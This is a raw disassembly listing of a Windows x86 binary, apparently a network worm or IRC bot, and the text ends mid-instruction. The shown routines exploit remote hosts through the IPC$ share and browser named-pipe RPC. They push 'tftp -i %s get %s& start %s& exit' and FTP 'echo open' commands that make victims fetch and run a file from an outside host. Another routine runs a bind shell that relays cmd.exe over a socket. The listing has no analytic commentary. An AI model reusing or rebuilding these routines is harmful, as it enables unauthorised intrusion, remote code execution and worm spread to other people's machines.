sub_40DE14+1CDj ... push esi loc_40E26A: ; CODE XREF: sub_40DE14+269j call dword_42821C ; closesocket push 7D0h call dword_428064 ; Sleep push 0BEEFh lea esi, [esp+1B0h+arg_136F8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_418C7F add esp, 0C0h neg al sbb eax, eax neg eax loc_40E2A5: ; CODE XREF: sub_40DE14+5Cj pop edi pop esi pop ebp pop ebx add esp, 13894h retn sub_40DE14 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2B0 proc near ; CODE XREF: .packed:0040D733p var_200 = byte ptr -200h arg_0 = byte ptr 8 arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 200h push esi xor esi, esi cmp [ebp+arg_A0], 8Bh push edi jz short loc_40E2D5 cmp [ebp+arg_A0], 1BDh jnz short loc_40E314 loc_40E2D5: ; CODE XREF: sub_40E2B0+17j sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40DE14 mov esi, eax add esp, 0BCh test esi, esi jz short loc_40E314 lea eax, [ebp+var_200] push eax call sub_4157A5 mov eax, [ebp+arg_A8] pop ecx shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40E314: ; CODE XREF: sub_40E2B0+23j ; sub_40E2B0+44j mov eax, esi pop edi pop esi leave retn sub_40E2B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E31A proc near ; CODE XREF: sub_40E453+24Ep var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CDCA4 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4CDC64 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CDCE4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E42C lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jz loc_40E42C push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CDC7C ; recv mov esi, offset byte_42A10C push esi push esi push [ebp+arg_0] call sub_40AB14 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41C150 add esp, 18h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jz short loc_40E42C push 1F4h call dword_428064 ; Sleep push esi push offset dword_42B53C lea eax, [ebp+var_1A0] push edi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E430 loc_40E42C: ; CODE XREF: sub_40E31A+50j ; sub_40E31A+66j ... xor al, al jmp short loc_40E44E ; --------------------------------------------------------------------------- loc_40E430: ; CODE XREF: sub_40E31A+110j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CDC7C ; recv push ebx call dword_4CDCFC ; closesocket mov al, 1 loc_40E44E: ; CODE XREF: sub_40E31A+114j pop edi pop esi pop ebx leave retn sub_40E31A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E453 proc near ; CODE XREF: sub_40E6CD+16p ; sub_40E6CD+39p var_1D24 = byte ptr -1D24h var_D24 = byte ptr -0D24h var_CF8 = byte ptr -0CF8h var_CF4 = byte ptr -0CF4h var_CF0 = byte ptr -0CF0h var_CEC = byte ptr -0CECh var_A28 = byte ptr -0A28h var_A24 = byte ptr -0A24h var_4F4 = byte ptr -4F4h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_88 = byte ptr -88h var_84 = byte ptr -84h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_58 = byte ptr -58h var_54 = byte ptr -54h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_28 = byte ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1D24h call sub_41C2F0 push ebx push esi push edi push 830h lea eax, [ebp+var_D24] push 0 push eax call sub_41BD60 push 264h lea eax, [ebp+var_2EC] push 0FFFFFF90h push eax call sub_41BD60 push 15Bh lea eax, [ebp+var_2EC] push offset dword_434D58 push eax call near ptr sub_41CAE0 push 4 lea eax, [ebp+var_88] pop ebx push ebx push offset dword_434F20 push eax call near ptr sub_41CAE0 push 8 lea eax, [ebp+var_84] push 41h push eax call sub_41BD60 mov esi, offset dword_434F18 push ebx lea eax, [ebp+var_7C] push esi push eax call near ptr sub_41CAE0 add esp, 48h lea eax, [ebp+var_78] push 20h push 0FFFFFF90h push eax call sub_41BD60 push ebx lea eax, [ebp+var_58] push esi push eax call near ptr sub_41CAE0 push 8 lea eax, [ebp+var_54] push 42h push eax call sub_41BD60 push ebx lea eax, [ebp+var_4C] push esi push eax call near ptr sub_41CAE0 push 20h lea eax, [ebp+var_48] push 0FFFFFF90h push eax call sub_41BD60 push 2Ch lea eax, [ebp+var_D24] push offset dword_434D04 push eax call near ptr sub_41CAE0 add esp, 48h mov edi, offset dword_434F10 lea eax, [ebp+var_CF8] push ebx push edi push eax call near ptr sub_41CAE0 mov esi, offset dword_4D0974 push ebx lea eax, [ebp+var_CF4] push esi push eax call near ptr sub_41CAE0 push ebx lea eax, [ebp+var_CF0] push edi push eax call near ptr sub_41CAE0 lea eax, [ebp+var_2EC] push 2C4h push eax lea eax, [ebp+var_CEC] push eax call near ptr sub_41CAE0 push ebx lea eax, [ebp+var_A28] push esi push eax call near ptr sub_41CAE0 push 1Ch lea eax, [ebp+var_A24] push offset dword_434D34 push eax call near ptr sub_41CAE0 add esp, 48h lea eax, [ebp+arg_4] mov edi, 104h push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_3F0] push edi push eax call sub_41C150 lea eax, [ebp+var_3F0] add esp, 10h xor esi, esi mov [ebp+var_14], eax mov eax, offset byte_43FE14 push esi push eax push eax lea eax, [ebp+var_28] mov [ebp+var_24], esi push eax mov [ebp+var_18], esi mov [ebp+var_C], esi call sub_41B7A4 test eax, eax jz short loc_40E5F3 push offset aFailedToConnec ; "[-] Failed to connect to host !\n" call sub_41D9BC pop ecx loc_40E5EC: ; CODE XREF: sub_40E453+1D6j ; sub_40E453+229j ... xor eax, eax loc_40E5EE: ; CODE XREF: sub_40E453+275j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40E5F3: ; CODE XREF: sub_40E453+18Cj lea eax, [ebp+arg_4] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_4F4] push edi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_4F4] push esi push esi push 3 push esi push esi push 0C0000000h push eax call dword_4280EC ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40E5EC push offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n" call sub_41D9BC pop ecx lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_1D24] push 1000h push eax push 49h push offset dword_434CB8 push edi call dword_4280F0 ; TransactNamedPipe test eax, eax jz short loc_40E675 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_D24] push 830h push eax push edi call dword_4280E0 ; WriteFile test eax, eax jnz short loc_40E681 loc_40E675: ; CODE XREF: sub_40E453+204j push edi call dword_42806C ; CloseHandle jmp loc_40E5EC ; --------------------------------------------------------------------------- loc_40E681: ; CODE XREF: sub_40E453+220j push 0FAh call dword_428064 ; Sleep push 115Ch lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E31A add esp, 0C0h test al, al jz loc_40E5EC mov eax, [ebp+arg_A8] shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] xor eax, eax inc eax jmp loc_40E5EE sub_40E453 endp ; =============== S U B R O U T I N E ======================================= sub_40E6CD proc near ; CODE XREF: .packed:0040D74Bp arg_0 = byte ptr 4 push esi push edi sub esp, 0BCh lea esi, [esp+0C4h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E453 add esp, 0BCh test eax, eax jnz short loc_40E719 sub esp, 0BCh lea esi, [esp+0C4h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E453 add esp, 0BCh neg eax sbb eax, eax neg eax jmp short loc_40E71C ; --------------------------------------------------------------------------- loc_40E719: ; CODE XREF: sub_40E6CD+23j xor eax, eax inc eax loc_40E71C: ; CODE XREF: sub_40E6CD+4Aj pop edi pop esi retn sub_40E6CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E71F proc near ; CODE XREF: sub_40E80D+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_428234 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_42820C ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_428220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E7ED lea eax, [ebp+var_10] push 10h push eax push ebx call dword_428210 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E7ED mov edi, 400h push esi mov esi, dword_428218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42A10C push eax push eax push dword_4CD998 push [ebp+arg_0] call sub_40AB14 pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C150 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_428224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E7F1 loc_40E7ED: ; CODE XREF: sub_40E71F+50j ; sub_40E71F+62j xor eax, eax jmp short loc_40E808 ; --------------------------------------------------------------------------- loc_40E7F1: ; CODE XREF: sub_40E71F+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_42821C ; closesocket xor eax, eax inc eax loc_40E808: ; CODE XREF: sub_40E71F+D0j pop edi pop esi pop ebx leave retn sub_40E71F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E80D proc near ; CODE XREF: sub_40BFAA+1D7p ; DATA XREF: .packed:off_432A94o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CDCA4 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CDC64 ; ntohs push 6 push 1 push 2 mov [ebp+var_E], ax call dword_428220 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E87F lea eax, [ebp+var_10] push 10h push eax push esi call dword_428210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E860 push esi jmp short loc_40E879 ; --------------------------------------------------------------------------- loc_40E860: ; CODE XREF: sub_40E80D+4Ej push 0 push 1213h push offset dword_434F28 push esi call dword_428224 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40E883 loc_40E879: ; CODE XREF: sub_40E80D+51j call dword_42821C ; closesocket loc_40E87F: ; CODE XREF: sub_40E80D+3Cj xor eax, eax jmp short loc_40E8C1 ; --------------------------------------------------------------------------- loc_40E883: ; CODE XREF: sub_40E80D+6Aj call dword_42821C ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E71F add esp, 0C0h test eax, eax jz short loc_40E8BE mov eax, [ebp+arg_A8] shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40E8BE: ; CODE XREF: sub_40E80D+9Ej xor eax, eax inc eax loc_40E8C1: ; CODE XREF: sub_40E80D+74j pop edi pop esi leave retn sub_40E80D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8C5 proc near ; CODE XREF: .packed:0040EB2Bp ; .packed:0040EB48p ... var_18 = byte ptr -18h var_10 = byte ptr -10h var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push esi push edi mov esi, offset dword_4D0974 lea edi, [ebp+var_10] mov ax, word_4361E0 movsd movsb mov esi, offset dword_4D0A80 lea edi, [ebp+var_18] mov [ebp+var_2], ax mov ax, word_4361DC movsd mov [ebp+var_6], ax mov ax, word_4CDB1C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_40E98E mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_40E917: ; CODE XREF: sub_40E8C5+C4j mov eax, [ebp+arg_8] sub eax, esi jz short loc_40E934 dec eax jnz short loc_40E982 push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CDCB4 ; send lea eax, [ebp+var_4] jmp short loc_40E945 ; --------------------------------------------------------------------------- loc_40E934: ; CODE XREF: sub_40E8C5+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CDCB4 ; send lea eax, [ebp+var_6] loc_40E945: ; CODE XREF: sub_40E8C5+6Dj push esi push 1 push eax push edi call dword_4CDCB4 ; send push ebx call sub_41B7B0 pop ecx cmp eax, 2 push esi jnz short loc_40E964 push 4 lea eax, [ebp+var_10] jmp short loc_40E969 ; --------------------------------------------------------------------------- loc_40E964: ; CODE XREF: sub_40E8C5+96j push 5 lea eax, [ebp+var_18] loc_40E969: ; CODE XREF: sub_40E8C5+9Dj push eax push edi call dword_4CDCB4 ; send push esi push ebx call sub_41B7B0 pop ecx push eax push ebx push edi call dword_4CDCB4 ; send loc_40E982: ; CODE XREF: sub_40E8C5+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_40E917 pop ebx jmp short loc_40EA01 ; --------------------------------------------------------------------------- loc_40E98E: ; CODE XREF: sub_40E8C5+42j dec eax jz short loc_40E9AA dec eax jnz short loc_40EA01 mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CDCB4 ; send lea eax, [ebp+var_4] jmp short loc_40E9BE ; --------------------------------------------------------------------------- loc_40E9AA: ; CODE XREF: sub_40E8C5+CAj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CDCB4 ; send lea eax, [ebp+var_6] loc_40E9BE: ; CODE XREF: sub_40E8C5+E3j push esi push 1 push eax push edi call dword_4CDCB4 ; send push [ebp+arg_4] call sub_41B7B0 pop ecx cmp eax, 2 push esi jnz short loc_40E9DF push 4 lea eax, [ebp+var_10] jmp short loc_40E9E4 ; --------------------------------------------------------------------------- loc_40E9DF: ; CODE XREF: sub_40E8C5+111j push 5 lea eax, [ebp+var_18] loc_40E9E4: ; CODE XREF: sub_40E8C5+118j push eax push edi call dword_4CDCB4 ; send push esi push [ebp+arg_4] call sub_41B7B0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CDCB4 ; send loc_40EA01: ; CODE XREF: sub_40E8C5+C7j ; sub_40E8C5+CDj pop edi pop esi leave retn sub_40E8C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi mov esi, offset dword_436218 lea edi, [ebp-38h] mov ax, word_4361DC movsd movsd movsd movsb mov esi, offset dword_436214 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_4D0974 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_436210 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43620C lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-2], ax mov [ebp-4], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-6], ax xor edi, edi call dword_4CDCE4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp-1Ch], ebx jnz short loc_40EA80 push eax call dword_4CDCFC ; closesocket loc_40EA80: ; CODE XREF: .packed:0040EA77j lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CDCA4 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CDC64 ; ntohs mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CDC0C ; connect test eax, eax jnz loc_40ECA2 loc_40EAB8: ; CODE XREF: .packed:0040ECE0j ; .packed:0040ED18j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CDC7C ; recv cmp eax, esi jle short loc_40EB16 cmp eax, 0FFFFFFFFh jz short loc_40EB16 mov eax, edi sub eax, esi jz loc_40ECE5 dec eax jz loc_40ECB0 dec eax jnz loc_40ED15 lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40ECA2 loc_40EB16: ; CODE XREF: .packed:0040EADDj ; .packed:0040EAE2j ... push esi lea eax, [ebp-4] push 1 push eax push ebx call dword_4CDCB4 ; send lea eax, [ebp-10h] push 1 push eax push ebx call sub_40E8C5 mov esi, dword_428064 add esp, 0Ch mov edi, 3E8h push edi call esi ; Sleep lea eax, [ebp-6] push 0 push eax push ebx call sub_40E8C5 add esp, 0Ch push edi call esi ; Sleep lea eax, [ebp-10h] push 2 push eax push ebx call sub_40E8C5 add esp, 0Ch push edi call esi ; Sleep and dword ptr [ebp-18h], 0 mov ebx, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe" push ebx call sub_41B7B0 test eax, eax pop ecx jbe short loc_40EBB8 loc_40EB79: ; CODE XREF: .packed:0040EBB6j mov eax, [ebp-18h] movsx eax, byte ptr aSystemrootSyst[eax] ; "%systemroot%\\system32\\cmd.exe" push eax push offset aC ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_41C150 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_40E8C5 add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-18h] push ebx call sub_41B7B0 cmp [ebp-18h], eax pop ecx jb short loc_40EB79 loc_40EBB8: ; CODE XREF: .packed:0040EB77j lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_40E8C5 add esp, 0Ch push 7D0h call esi ; Sleep push 100h mov ebx, offset byte_4D0980 push 0 push ebx call sub_41BD60 add esp, 0Ch mov eax, offset byte_42A10C push eax push eax push dword ptr [ebp+8] call sub_40AB14 pop ecx push eax push offset aTftpISGetSStar ; "tftp -i %s get %s& start %s& exit" push 0FFh push ebx call sub_41C150 and dword ptr [ebp-18h], 0 push ebx call sub_41B7B0 add esp, 1Ch test eax, eax jbe short loc_40EC56 loc_40EC17: ; CODE XREF: .packed:0040EC54j mov eax, [ebp-18h] movsx eax, byte_4D0980[eax] push eax push offset aC ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_41C150 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_40E8C5 add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-18h] push ebx call sub_41B7B0 cmp [ebp-18h], eax pop ecx jb short loc_40EC17 loc_40EC56: ; CODE XREF: .packed:0040EC15j push edi call esi ; Sleep lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_40E8C5 add esp, 0Ch push 2 pop ebx loc_40EC6D: ; CODE XREF: .packed:0040EC86j push 258h call esi ; Sleep lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_40E8C5 add esp, 0Ch dec ebx jnz short loc_40EC6D mov eax, [ebp+0B0h] push edi shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] call esi ; Sleep mov ebx, [ebp-1Ch] xor esi, esi inc esi loc_40ECA2: ; CODE XREF: .packed:0040EAB2j ; .packed:0040EB10j ... push ebx call dword_4CDCFC ; closesocket mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ECB0: ; CODE XREF: .packed:0040EAEFj lea eax, [ebp-14h] push eax lea eax, [ebp-88h] push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40ECA2 lea eax, [ebp-2] push esi push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp-2] push eax push ebx call dword_4CDCB4 ; send push 2 pop edi jmp loc_40EAB8 ; --------------------------------------------------------------------------- loc_40ECE5: ; CODE XREF: .packed:0040EAE8j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40ECA2 lea eax, [ebp-38h] push esi push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CDCB4 ; send xor edi, edi inc edi loc_40ED15: ; CODE XREF: .packed:0040EAF6j cmp edi, 3 jnz loc_40EAB8 jmp loc_40EB16 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40ED23 proc near ; DATA XREF: sub_40EDB1+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40ED2C: ; CODE XREF: sub_40ED23+25j ; sub_40ED23+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4D0A98 call dword_4CDC7C ; recv test eax, eax jle short loc_40ED2C lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4D0A94 call dword_4280E0 ; WriteFile jmp short loc_40ED2C sub_40ED23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40ED66 proc near ; DATA XREF: sub_40EDB1+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40ED6F: ; CODE XREF: sub_40ED66+2Fj ; sub_40ED66+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4D0A88 call dword_4280E8 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40ED6F push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4D0A98 call dword_4CDCB4 ; send jmp short loc_40ED6F sub_40ED66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EDB1 proc near ; DATA XREF: sub_401B66+2CC7o var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd xor esi, esi xor edi, edi inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_38] push edi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call dword_4CDC64 ; ntohs push 6 push esi push 2 mov [ebp+var_36], ax call dword_4CDCE4 ; socket mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call dword_4CDC90 ; bind push 5 push [ebp+arg_0] call dword_4CDC8C ; listen mov ebx, dword_428100 mov esi, dword_42806C loc_40EE31: ; CODE XREF: sub_40EDB1+1CBj push edi push edi push [ebp+arg_0] call dword_4CDCF8 ; accept mov dword_4D0A98, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4D0A94 push offset dword_4D0A90 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4D0A8C push offset dword_4D0A88 call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_41BD60 mov eax, dword_4D0A90 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4D0A8C mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call dword_4280FC ; GetCurrentProcess push eax push dword_4D0A8C call dword_4280FC ; GetCurrentProcess push eax call dword_4280F8 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset dword_436228 push edi call dword_428070 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40ED66 lea eax, [ebp+var_C] push edi push eax call dword_42807C ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40ED23 lea eax, [ebp+var_C] push edi push eax call dword_42807C ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call dword_4280A0 ; WaitForSingleObject push edi push [ebp+var_10] call dword_4280AC ; TerminateThread push edi push [ebp+var_14] call dword_4280AC ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call dword_4280F4 ; TerminateProcess push dword_4D0A90 call esi ; CloseHandle push dword_4D0A94 call esi ; CloseHandle push dword_4D0A88 call esi ; CloseHandle push dword_4D0A8C call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40EE31 sub_40EDB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40EF81 proc near ; DATA XREF: .packed:0042A014o jmp $+5 sub_40EF81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EF86 proc near push 0FFFEh push 400h call sub_418E56 pop ecx mov dword_4D0A9C, eax pop ecx retn sub_40EF86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF9D proc near ; DATA XREF: sub_40B945+352o var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd xor esi, esi xor ebx, ebx inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_14] push ebx push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call dword_4CDC64 ; ntohs push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4CDCE4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F044 cmp [ebp+var_1C], ebx jnz short loc_40F024 push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409982 add esp, 14h loc_40F024: ; CODE XREF: sub_40EF9D+65j lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+var_AC] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread loc_40F044: ; CODE XREF: sub_40EF9D+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_440BA4[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CDC90 ; bind cmp eax, esi mov ebx, 400h jnz loc_40F13F call dword_4CDBF8 ; WSAGetLastError cmp eax, 2740h jz short loc_40F0C4 xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F0A4 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409982 add esp, 14h loc_40F0A4: ; CODE XREF: sub_40EF9D+E5j lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+var_AC] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread loc_40F0C4: ; CODE XREF: sub_40EF9D+DEj push 0FFFEh push ebx call 